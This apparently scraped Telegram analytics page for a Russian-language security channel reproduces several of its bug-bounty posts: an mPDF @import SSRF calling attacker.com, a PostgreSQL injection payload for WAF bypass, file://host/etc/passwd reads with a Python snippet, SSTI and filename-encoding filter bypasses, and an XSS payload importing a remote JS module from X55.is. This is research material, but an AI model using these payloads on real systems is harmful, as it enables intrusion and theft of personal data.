SHADOW:Group
Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn
Ko'proq ko'rsatish📈 Telegram kanali SHADOW:Group analitikasi
SHADOW:Group (@shadow_group_tg) Rus til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 11 458 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 10 892-o'rinni va Rossiya mintaqasida 57 454-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 11 458 obunachiga ega bo‘ldi.
10 Iyun, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni -10 ga, so‘nggi 24 soatda esa -2 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 20.28% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining N/A% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 2 324 marta ko‘riladi; birinchi sutkada odatda 0 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 14 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent middleware, http/1.1, bounty, api, host kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“Чат: @shadow_chat_tg
Рекламу не размещаю.
Админ - @shdwpwn”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 11 Iyun, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД.
#web #race #idor@import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf$$0$$OR-0-$$0$$NOTNULLКак PostgreSQL это парсит: 1. $$0$$ - dollar-quoted строка, автоматически каститься в integer 2. OR - логический оператор 3. -0-$$0$$ - арифметическое выражение 4. NOTNULL - проверка на null (вернет true) Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +). Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
file://localhost/etc/passwd
что вернёт?
Да, вернётся /etc/passwd.
В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>
Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.
В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.
Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?
Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.
Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49
Уже на стену лезешь? Погоди, я с тобой ещё не закончил.
Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?
В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %
То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.
. . .
FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^] ⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^] ⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. пролом parse_url в PHP [^]
#web #waf_bypassalert, document.cookie и других.
В таких случаях часто на помощь приходит функция import(), которая позволяет подгружать JS-скрипты из внешнего модуля. Более подробно c этой функцией можете ознакомиться в документации.
Для эксплуатации я использовал пэйлоад Javascript:import('//X55.is')// который через import() выполняет загрузку вредоносного JS-модуля, размещенного на сайте X55.is. Данный модуль выполняет обычный alert.
Кроме того, с его помощью можно удобно выполнить любой код, указав его через символ #. Все, что будет после #, не будет видно на сервере, что поможет обойти WAF, а модуль в import считает содержимое из document.location.hash и выполнит код.
javascript:import('//X55.is')//#alert('shdw')
#web #waf #xss
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
